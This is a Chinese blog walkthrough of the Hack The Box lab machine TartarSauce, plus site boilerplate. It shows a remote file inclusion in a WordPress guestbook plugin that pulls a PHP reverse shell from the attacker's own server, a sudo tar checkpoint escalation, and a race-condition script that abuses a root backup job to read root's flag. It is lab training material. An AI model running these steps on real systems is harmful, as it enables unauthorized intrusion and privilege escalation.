HTB靶场系列 linux靶机 Tartarsause靶机

最新推荐文章于 2024-02-02 16:54:42 发布
最新推荐文章于 2024-02-02 16:54:42 发布
阅读量306 收藏 1
点赞数
文章标签： linux 服务器 运维
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/text2204/article/details/128319538
版权

勘探

nmap直接扫

root@kali:~/hackthebox/tartarsauce-10.10.10.88# nmap 10.10.10.88
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-22 12:21 EDT
Warning: 10.10.10.88 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.88
Host is up (0.098s latency).
Not shown: 65467 closed ports, 67 filtered ports
PORT STATE SERVICE
80/tcp openhttp

Nmap done: 1 IP address (1 host up) scanned in 26.34 seconds

root@kali:~/hackthebox/tartarsauce-10.10.10.88# nmap -sCV -p 80 10.10.10.88
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-22 12:25 EDT
Nmap scan report for 10.10.10.88
Host is up (0.095s latency).

PORT STATE SERVICE VERSION
80/tcp openhttpApache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 5 disallowed entries
| /webservices/tar/tar/source/
| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/
|_/webservices/developmental/ /webservices/phpmyadmin/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Landing Page

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.70 seconds

发现是一个完全的web，那么用dirsearch扫

80端口勘探

dirsearch可以发现这个网页中有robots.txt文件

指定了五个目录，不过，那五个都是兔子洞，我在那几个界面浪费了大量的时间。。。

但同时他也暴漏了一个地址/webservice

对这个地址用gobuster中字典爆破发现有/wp目录那是不是代表他有wordpress啊

既然有wp那么我们做进一步的探查

wpscan --url http://tartarsauce.htb/webservices/wp/
wpscan --url http://tartarsauce.htb/webservices/wp/ --enumerate p,t,u
wpscan --url http://tartarsauce.htb/webservices/wp --enumerate p --plugins-detection aggressive

这里作者用欺骗的方式，将wp版本更改成了2的版本，但其实还是1.5，所以wpscan要用aggressive模式

这一点，可以在插件的一个readme中找到

________________________________________________________________________ _____\ \/ /__ \ / ____| \ \/\/ /| |__) | (___ _____ _ _ __ ®\ // / |___/ ___ \ / __|/ _` | '_ \ \/\/| | ____) | (__| (_| | | | |// |_||_____/ ___|__,_|_| |_|WordPress Security Scanner by the WPScan Team Version 2.9.3Sponsored by Sucuri - https://sucuri.net @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________
...
[+] We found 3 plugins:

[+] Name: akismet - v4.0.3
 |Last updated: 2018-05-26T17:14:00.000Z
 |Location: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/
 |Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt
[!] The version is out of date, the latest version is 4.0.6

[+] Name: brute-force-login-protection - v1.5.3
 |Latest version: 1.5.3 (up to date)
 |Last updated: 2017-06-29T10:39:00.000Z
 |Location: http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/
 |Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt

[+] Name: gwolle-gb - v2.3.10
 |Last updated: 2018-05-12T10:06:00.000Z
 |Location: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/
 |Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
[!] The version is out of date, the latest version is 2.5.2

[+] Enumerating installed themes (only ones marked as popular) ...
...

提权至www-date

那么我们发发现有gwolle可以试一试gwolle的跨域文件包含

具体实现步骤是这样的（其实在searchspolit中可以看到漏洞作者写的exp）

1.用python打开一个微服务

python -m SimpleHTTPServer 12345

注意，你命令行打开的位置就是这个服务共享的位置

2.在分享的文件夹中创建一个回连shell脚本命名为wp-load.php，我使用的是/usr/share/webshells/php/php-reverse-shell.php这个msf的脚本，注意修改脚本内的host和port

注意为什么叫这个名字，其实是为了方便

└─# python -m SimpleHTTPServer 12345 1 ⨯
Serving HTTP on 0.0.0.0 port 12345 ...10.10.10.88 - - [28/Dec/2021 19:38:11] "GET /wp-load.php HTTP/1.0" 200 -
10.10.10.88 - - [28/Dec/2021 20:07:40] "GET /b.sh HTTP/1.1" 200 -

连接测试的时候发现这个跨域访问会直接连接这个文件，所以这样不用加文件名

3.打开nc监听

4.用curl访问链接或者直接浏览器访问

curl -s http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.16.3:12345/

注意，端口改自己脚本中的端口，地址的端口最后必须加/

然后就能连接到了

提权至onuma

一般操作sudo -l发现tar有onuma权限

$ sudo -l
Matching Defaults entries for www-data on TartarSauce:env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User www-data may run the following commands on TartarSauce:(onuma) NOPASSWD: /bin/tar

那么利用漏洞

$ sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
id
uid=1000(onuma) gid=1000(onuma) groups=1000(onuma),24(cdrom),30(dip),46(plugdev)

有关于tar提权的其他方法和原理请参照与我另一篇文章

提权至root

find一下没有什么可以利用的

sudo 刚刚看了没有root权限的进程

用pspy查看一下进程

./pspy32
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855 ██▓███████████▓███ ▓██ ██▓▓██░██▒▒██▒ ▓██░██▒▒████▒▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░▒██▄█▓▒ ▒▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░▒██▒ ░░▒██████▒▒▒██▒ ░░ ░ ██▒▓░▒▓▒░ ░░▒ ▒▓▒ ▒ ░▒▓▒░ ░░██▒▒▒ ░▒ ░ ░ ░▒░ ░░▒ ░ ▓██ ░▒░ ░░ ░░░░░ ▒ ▒ ░░ ░ ░ ░  ░ ░ 

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2021/12/28 04:09:07 CMD: UID=0PID=95 | 
2021/12/28 04:09:07 CMD: UID=0PID=936| /usr/lib/policykit-1/polkitd --no-debug2021/12/28 04:09:07 CMD: UID=0PID=919| /sbin/mdadm --monitor --pid-file /run/mdadm/monitor.pid --daemonise --scan --syslog2021/12/28 04:09:07 CMD: UID=0PID=9| 
2021/12/28 04:09:07 CMD: UID=0PID=85 | 
2021/12/28 04:09:07 CMD: UID=0PID=83 | 
2021/12/28 04:09:07 CMD: UID=0PID=82 | 
2021/12/28 04:09:07 CMD: UID=0PID=81 | 
2021/12/28 04:09:07 CMD: UID=108PID=805| /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation 
2021/12/28 04:09:07 CMD: UID=0PID=804| /usr/lib/snapd/snapd 
2021/12/28 04:09:07 CMD: UID=0PID=803| /usr/bin/vmtoolsd 
2021/12/28 04:09:07 CMD: UID=104PID=801| /usr/sbin/rsyslogd -n 
2021/12/28 04:09:07 CMD: UID=0PID=800| /usr/sbin/atd -f 
2021/12/28 04:09:07 CMD: UID=0PID=80 | 
2021/12/28 04:09:07 CMD: UID=0PID=8| 
2021/12/28 04:09:07 CMD: UID=0PID=799| /usr/sbin/cron -f 
2021/12/28 04:09:07 CMD: UID=0PID=795| /usr/lib/accountsservice/accounts-daemon 
2021/12/28 04:09:07 CMD: UID=0PID=794| /usr/bin/lxcfs /var/lib/lxcfs/ 
2021/12/28 04:09:07 CMD: UID=0PID=792| /lib/systemd/systemd-logind 
2021/12/28 04:09:07 CMD: UID=0PID=79 | 
2021/12/28 04:09:07 CMD: UID=0PID=789| /usr/sbin/acpid 
2021/12/28 04:09:07 CMD: UID=0PID=78 | 
2021/12/28 04:09:07 CMD: UID=0PID=77 | 
2021/12/28 04:09:07 CMD: UID=0PID=7| 
2021/12/28 04:09:07 CMD: UID=100PID=676| /lib/systemd/systemd-timesyncd 
2021/12/28 04:09:07 CMD: UID=1000 PID=6558 | ./pspy32 
2021/12/28 04:09:07 CMD: UID=1000 PID=6511 | /bin/bash 
2021/12/28 04:09:07 CMD: UID=1000 PID=6510 | tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash2021/12/28 04:09:07 CMD: UID=0PID=6509 | sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash2021/12/28 04:09:07 CMD: UID=0PID=648| 
2021/12/28 04:09:07 CMD: UID=33 PID=6383 | /bin/sh -i 
2021/12/28 04:09:07 CMD: UID=33 PID=6379 | sh -c uname -a; w; id; /bin/sh -i 
2021/12/28 04:09:07 CMD: UID=0PID=6365 | 
2021/12/28 04:09:07 CMD: UID=0PID=6252 | 
2021/12/28 04:09:07 CMD: UID=0PID=6250 | 
2021/12/28 04:09:07 CMD: UID=33 PID=6249 | /usr/sbin/apache2 -k start 
2021/12/28 04:09:07 CMD: UID=0PID=6| 
2021/12/28 04:09:07 CMD: UID=0PID=5971 | 
2021/12/28 04:09:07 CMD: UID=0PID=432| 
2021/12/28 04:09:07 CMD: UID=0PID=426| /lib/systemd/systemd-udevd 
2021/12/28 04:09:07 CMD: UID=0PID=425| /sbin/lvmetad -f 
2021/12/28 04:09:07 CMD: UID=0PID=406| 
2021/12/28 04:09:07 CMD: UID=0PID=405| 
2021/12/28 04:09:07 CMD: UID=0PID=404| 
2021/12/28 04:09:07 CMD: UID=0PID=401| 
2021/12/28 04:09:07 CMD: UID=0PID=400| /lib/systemd/systemd-journald 
2021/12/28 04:09:07 CMD: UID=0PID=4| 
2021/12/28 04:09:07 CMD: UID=0PID=35 | 
2021/12/28 04:09:07 CMD: UID=0PID=348| 
2021/12/28 04:09:07 CMD: UID=0PID=347| 
2021/12/28 04:09:07 CMD: UID=0PID=34 | 
2021/12/28 04:09:07 CMD: UID=0PID=307| 
2021/12/28 04:09:07 CMD: UID=0PID=306| 
2021/12/28 04:09:07 CMD: UID=0PID=30 | 
2021/12/28 04:09:07 CMD: UID=0PID=297| 
2021/12/28 04:09:07 CMD: UID=0PID=296| 
2021/12/28 04:09:07 CMD: UID=0PID=29 | 
2021/12/28 04:09:07 CMD: UID=0PID=28 | 
2021/12/28 04:09:07 CMD: UID=0PID=272| 
2021/12/28 04:09:07 CMD: UID=0PID=27 | 
2021/12/28 04:09:07 CMD: UID=0PID=26 | 
2021/12/28 04:09:07 CMD: UID=0PID=25 | 
2021/12/28 04:09:07 CMD: UID=0PID=24 | 
2021/12/28 04:09:07 CMD: UID=0PID=23 | 
2021/12/28 04:09:07 CMD: UID=0PID=22 | 
2021/12/28 04:09:07 CMD: UID=0PID=21 | 
2021/12/28 04:09:07 CMD: UID=0PID=20 | 
2021/12/28 04:09:07 CMD: UID=0PID=2| 
2021/12/28 04:09:07 CMD: UID=0PID=199| 
2021/12/28 04:09:07 CMD: UID=0PID=197| 
2021/12/28 04:09:07 CMD: UID=0PID=194| 
2021/12/28 04:09:07 CMD: UID=0PID=19 | 
2021/12/28 04:09:07 CMD: UID=0PID=18 | 
2021/12/28 04:09:07 CMD: UID=0PID=172| 
2021/12/28 04:09:07 CMD: UID=0PID=171| 
2021/12/28 04:09:07 CMD: UID=0PID=170| 
2021/12/28 04:09:07 CMD: UID=0PID=17 | 
2021/12/28 04:09:07 CMD: UID=0PID=16 | 
2021/12/28 04:09:07 CMD: UID=0PID=15 | 
2021/12/28 04:09:07 CMD: UID=0PID=14 | 
2021/12/28 04:09:07 CMD: UID=33 PID=1395 | /usr/sbin/apache2 -k start 
2021/12/28 04:09:07 CMD: UID=0PID=13 | 
2021/12/28 04:09:07 CMD: UID=33 PID=1230 | /usr/sbin/apache2 -k start 
2021/12/28 04:09:07 CMD: UID=33 PID=1229 | /usr/sbin/apache2 -k start 
2021/12/28 04:09:07 CMD: UID=33 PID=1228 | /usr/sbin/apache2 -k start 
2021/12/28 04:09:07 CMD: UID=33 PID=1227 | /usr/sbin/apache2 -k start 
2021/12/28 04:09:07 CMD: UID=33 PID=1226 | /usr/sbin/apache2 -k start 
2021/12/28 04:09:07 CMD: UID=0PID=1209 | /usr/sbin/apache2 -k start 
2021/12/28 04:09:07 CMD: UID=0PID=12 | 
2021/12/28 04:09:07 CMD: UID=0PID=1145 | /sbin/agetty --noclear tty1 linux2021/12/28 04:09:07 CMD: UID=0PID=112| 
2021/12/28 04:09:07 CMD: UID=107PID=1116 | /usr/sbin/mysqld 
2021/12/28 04:09:07 CMD: UID=0PID=1108 | /sbin/iscsid 
2021/12/28 04:09:07 CMD: UID=0PID=1107 | /sbin/iscsid 
2021/12/28 04:09:07 CMD: UID=0PID=11 | 
2021/12/28 04:09:07 CMD: UID=0PID=10 | 
2021/12/28 04:09:07 CMD: UID=0PID=1| /sbin/init 
2021/12/28 04:10:04 CMD: UID=0PID=6580 | /lib/systemd/systemd-udevd 
2021/12/28 04:10:04 CMD: UID=0PID=6579 | /lib/systemd/systemd-udevd 
2021/12/28 04:10:04 CMD: UID=0PID=6578 | /lib/systemd/systemd-udevd 
2021/12/28 04:10:04 CMD: UID=0PID=6577 | /lib/systemd/systemd-udevd 
2021/12/28 04:10:04 CMD: UID=0PID=6576 | /lib/systemd/systemd-udevd 
2021/12/28 04:10:04 CMD: UID=0PID=6575 | cut -d-f1 
2021/12/28 04:10:04 CMD: UID=0PID=6574 | /bin/bash /usr/sbin/backuperer 
2021/12/28 04:10:04 CMD: UID=0PID=6573 | 
2021/12/28 04:10:04 CMD: UID=0PID=6572 | /bin/bash /usr/sbin/backuperer 
2021/12/28 04:10:04 CMD: UID=0PID=6571 | /lib/systemd/systemd-udevd 
2021/12/28 04:10:04 CMD: UID=0PID=6570 | /lib/systemd/systemd-udevd 
2021/12/28 04:10:04 CMD: UID=0PID=6569 | /lib/systemd/systemd-udevd 
2021/12/28 04:10:04 CMD: UID=0PID=6568 | /lib/systemd/systemd-udevd 
2021/12/28 04:10:04 CMD: UID=0PID=6567 | /lib/systemd/systemd-udevd 
2021/12/28 04:10:04 CMD: UID=0PID=6566 | /bin/bash /usr/sbin/backuperer 
2021/12/28 04:10:04 CMD: UID=0PID=6583 | 
2021/12/28 04:10:04 CMD: UID=0PID=6582 | /bin/bash /usr/sbin/backuperer 
2021/12/28 04:10:04 CMD: UID=0PID=6581 | /bin/bash /usr/sbin/backuperer 
2021/12/28 04:10:04 CMD: UID=0PID=6584 | /usr/bin/printf - 
2021/12/28 04:10:04 CMD: UID=0PID=6586 | /bin/bash /usr/sbin/backuperer 
2021/12/28 04:10:04 CMD: UID=0PID=6596 | /usr/bin/printf - 
2021/12/28 04:10:04 CMD: UID=0PID=6605 | /usr/bin/printf - 
2021/12/28 04:10:04 CMD: UID=0PID=6609 | /usr/bin/printf - 
2021/12/28 04:10:04 CMD: UID=0PID=6611 | 
2021/12/28 04:10:04 CMD: UID=0PID=6613 | /usr/bin/printf - 
2021/12/28 04:10:04 CMD: UID=0PID=6615 | /usr/bin/printf - 
2021/12/28 04:10:04 CMD: UID=0PID=6617 | /usr/bin/printf - 
2021/12/28 04:10:04 CMD: UID=0PID=6618 | /usr/bin/printf - 
2021/12/28 04:10:04 CMD: UID=0PID=6620 | /usr/bin/printf - 
2021/12/28 04:10:04 CMD: UID=0PID=6622 | /bin/bash /usr/sbin/backuperer 
2021/12/28 04:10:04 CMD: UID=0PID=6624 | 
2021/12/28 04:10:04 CMD: UID=0PID=6626 | /usr/bin/printf - 
2021/12/28 04:10:04 CMD: UID=0PID=6633 | /bin/bash /usr/sbin/backuperer 
2021/12/28 04:10:04 CMD: UID=0PID=6634 | /usr/bin/printf - 
2021/12/28 04:10:04 CMD: UID=0PID=6637 | /bin/bash /usr/sbin/backuperer 
2021/12/28 04:10:04 CMD: UID=0PID=6639 | /usr/bin/printf - 
2021/12/28 04:10:04 CMD: UID=0PID=6643 | /bin/bash /usr/sbin/backuperer 
2021/12/28 04:10:04 CMD: UID=0PID=6644 | /usr/bin/printf - 
2021/12/28 04:10:04 CMD: UID=0PID=6647 | /bin/bash /usr/sbin/backuperer 
2021/12/28 04:10:04 CMD: UID=0PID=6649 | /bin/bash /usr/sbin/backuperer 
2021/12/28 04:10:04 CMD: UID=0PID=6650 | 
2021/12/28 04:10:04 CMD: UID=0PID=6653 | /usr/bin/printf - 
2021/12/28 04:10:04 CMD: UID=0PID=6655 | /usr/bin/printf - 
2021/12/28 04:10:04 CMD: UID=0PID=6662 | /bin/sleep 30 
2021/12/28 04:10:04 CMD: UID=0PID=6661 | /bin/bash /usr/sbin/backuperer 
2021/12/28 04:10:04 CMD: UID=1000 PID=6665 | /bin/tar -zcvf /var/tmp/.1beeeb196d0924b2bfdec12dc9ba71e68ba43b8c /var/www/html2021/12/28 04:10:04 CMD: UID=1000 PID=6666 | gzip 
2021/12/28 04:10:34 CMD: UID=0PID=6672 | gzip -d 
2021/12/28 04:10:34 CMD: UID=0PID=6671 | /bin/tar -zxvf /var/tmp/.1beeeb196d0924b2bfdec12dc9ba71e68ba43b8c -C /var/tmp/check2021/12/28 04:10:35 CMD: UID=0PID=6674 | /bin/bash /usr/sbin/backuperer 
2021/12/28 04:10:35 CMD: UID=0PID=6673 | /bin/bash /usr/sbin/backuperer 
2021/12/28 04:10:36 CMD: UID=0PID=6675 | /bin/mv /var/tmp/.1beeeb196d0924b2bfdec12dc9ba71e68ba43b8c /var/backups/onuma-www-dev.bak2021/12/28 04:10:36 CMD: UID=0PID=6676 | /bin/rm -rf /var/tmp/check . ..2021/12/28 04:10:36 CMD: UID=0PID=6677 | 
2021/12/28 04:10:36 CMD: UID=0PID=6680 |

文件分析

发现有一个/usr/sbin/backuperer这个很可疑

这是这个文件的原理

cat backuperer
#!/bin/bash

#-------------------------------------------------------------------------------------
# backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up incase another skiddie defaces us again.
# We will be able to quickly restore from a backup in seconds ;P
#-------------------------------------------------------------------------------------

# Set Vars Here
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check

# formatting
printbdr()
{for n in $(seq 72);do /usr/bin/printf $"-";done
}
bdr=$(printbdr)

# Added a test file to let us see when the last backup was run
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg

# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check

# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &

# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30

# Test the backup integrity
integrity_chk()
{/usr/bin/diff -r $basedir $check$basedir
}

/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then# Report errors so the dev can investigate the issue./usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran :$(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsgintegrity_chk >> $errormsgexit 2
else# Clean up and save archive to the bkpdir./bin/mv $tmpfile $bkpdir/onuma-www-dev.bak/bin/rm -rf $check .*exit 0
fi

检查了这个sh脚本后我们研究了它的执行流程

大致就是

1.先创建一个脚本象征，写明了脚本上次运行的时间

2.删除上次的临时文件

3.把网页文件备份成一个压缩包的形式保存至临时文件夹

4.sleep30秒

5.在临时文件夹中创建一个check文件夹

6.把上次压缩的文件提取到check文件夹zhong

7.比较check文件夹中的内容和源文件夹中的内容的区别，如果一样九八零食文件删除掉

8.如果不一样，就将错问信息写入错误日志文件中，并将diff比较的内容，也就是两个比较发生错误的文件写入错误日志中

操作

那么我们的思路就有了，就是在上述脚本完成备份后休息的那三十秒，我们打开备份，修改其中的某个文件为/root/root.txt然后再把这个备份重新压缩好，把原来的备份删掉，之后打开错误报告查看root文件就是了

但是这么多的步骤我们肯定是做不到三十秒内敲完了

就需要写脚本

这里借用0xdf编写的脚本

#!/bin/bash

# work out of shm
cd /dev/shm

# set both start and cur equal to any backup file if it's there
start=$(find /var/tmp -maxdepth 1 -type f -name ".*")
cur=$(find /var/tmp -maxdepth 1 -type f -name ".*")

# loop until there's a change in cur
echo "Waiting for archive filename to change..."
while [ "$start" == "$cur" -o "$cur" == "" ] ; dosleep 10;cur=$(find /var/tmp -maxdepth 1 -type f -name ".*");
done

# Grab a copy of the archive
echo "File changed... copying here"
cp $cur .

# get filename
fn=$(echo $cur | cut -d'/' -f4)

# extract archive
tar -zxf $fn

# remove robots.txt and replace it with link to root.txt
rm var/www/html/robots.txt
ln -s /root/root.txt var/www/html/robots.txt

# remove old archive
rm $fn

# create new archive
tar czf $fn var

# put it back, and clean up
mv $fn $cur
rm $fn
rm -rf var

# wait for results
echo "Waiting for new logs..."
tail -f /var/backups/onuma_backup_error.txt
万天峰
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
HTB-sau Walkthrough
weixin_41958290的博客
12-11 402
Request-basket存在SSRF，可以访问服务器本地的80端口Maltrail自身存在漏洞。
HTB靶机011-Node-WP
灰蜗牛
05-12 1608
HTB靶机011-Node-WP，这题比较复杂，最后提权是难点
网络安全之searchsploit的使用
qq_44005305的博客
02-23 571
searchsploit是一个用于Exploit-DB的命令行搜索工具，可以帮助我们查找渗透模块。）这是Offensive Security（）赞助的一个项目。存储了大量的漏洞利用程序，可以帮助安全研究者和渗透测试工程师更好的进行安全测试工作，目前是世界上公开收集漏洞最全的数据库，该仓库每天都会更新，exploit-db提供searchsploit利用files.csv进行搜索离线漏洞库文件的位置。
HTB靶机渗透测试之Surveillance（Linux · Medium）
最新发布
m0_60351808的博客
02-02 1398
kali机器ip：10.10.16.53靶机ip：10.10.11.245首先nmap拿到基本端口开放信息发现开放了22和80两个端口，22是ssh，渗透优先级靠后，先看看80端口，浏览器访问（省略修改hosts文件步骤）用紫色小插件看出收集基本信息，得到有效信息craft cms，这是个美国公司开发的内容管理系统，找到一个可能的突破点接下来对该网站进行目录爆破和子域名爆破，分别使用dirsearch和gobuster步骤及结果如下。
vulnhub——BILLU: B0X
weixin_54431413的博客
05-31 379
第一个思路主要是来利用sql注入，文件上传和文件包含漏洞结合来拿到shell，之后利用内核漏洞提权 第二个思路主要是对目标靶机进行了完整的信息收集，拿到更多了信息，利用了文件下载漏洞，拿到了root的密码，直接利用ssh登录目标服务器
【HTB系列】靶机Chaos的渗透测试详解1
08-03
介绍靶机地址：10.10.10.120先用Nmap来进行探测Nmap scan report for 10.10.10.120Not shown: 994 cl
htb：破解盒子的演练
01-31
htb 破解盒子的演练
HTB打靶日记：Investigation
01-27
hackthebox
HTB打靶日记：Mentor
01-11
hackthebox
HTB打靶日记：BroScience
01-10
hackthebox
linux htb流量控制使用实例
08-30
Linux HTB 流量控制使用实例 HTB（Hierarchical Token Bucket）是一种流量控制算法，用于 Linux 操作系统中的流量控制。HTB 的实现原理是基于 Token Bucket 算法，通过控制 Token 的生成速率和 Bucket 的容量来限制...
HTB打靶日记：Stocker
01-15
hackthebox
Linux流量控制管理架构.pdf
09-06
例如，可以使用不同的调度器如HTB（Hierarchical Token Bucket）或CBQ（Class Based Queuing）来实现精细化的流量控制。 总的来说，Linux的流量控制管理架构提供了一套灵活且强大的工具，用于在网络中进行流量管理...
htb
03-11
相关项目。
ROS_HTB_优先限速
09-07
ROS_HTB_优先限速，不错的脚本试试吧
No.131-HackTheBox-Linux-TartarSauce-Walkthrough渗透学习
qq_34801745的博客
06-10 711
** HackTheBox-Linux-TartarSauce-Walkthrough ** 靶机地址：https://www.hackthebox.eu/home/machines/profile/138 靶机难度：中级（4.7/10） 靶机发布日期：2018年10月28日 靶机描述： TartarSauce is a fairly challenging box that highlights the importance of a broad remote enumeration instead of
hackthebox - TartarSauce （考点：信息搜集/wp漏洞）（未完成）
冬萍子癸水
04-15 420
nmap 就一个80，里面一张酸酸乳样的照片 然后打开robots.txt，看到webservices似乎有很多料，点看看看未发现太多 同时，扫目录也发现了webservices 继续深挖，扫webservices里面还有啥。 看到wp。wordpress的简称 看到wp就要想到用wpscan扫他 wpscan --url http://10.10.10.88/webservices/wp ...
【HTB系列】靶机Access的渗透测试详解
大方子
03-26 1455
介绍 信息收集 首先我们用nmap探测下靶机的信息 nmap-sC-sV-T510.10.10.98 可以看到靶机开放了21，23，80端口。 telnet后面有一个？说明nmap也不确定是否为telnet 这里我用msf来探测下FTP是否允许 匿名登陆 使用msf的/auxiliary/scanner/ftp/anonymous模块 ...
【HTB系列】靶机Irked的渗透测试详解
大方子
05-10 2285
介绍 Kali: 10.10.13.32 靶机地址：10.10.10.117 先用nmap扫描下靶机 靶机开放了 22 80 111 端口 查看下靶机的80端口 我们用gobuster对网站的目录也进行一次爆破 访问下/manual，得到apache的文档页面没有可以利用的点 然后我们在根据页面上的显示”IRC i...
format htb
08-24
HTB is an abbreviation for Hack The Box, which is an online platform that provides hands-on penetration testing and hacking challenges. It allows users to simulate real-world cybersecurity scenarios ...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值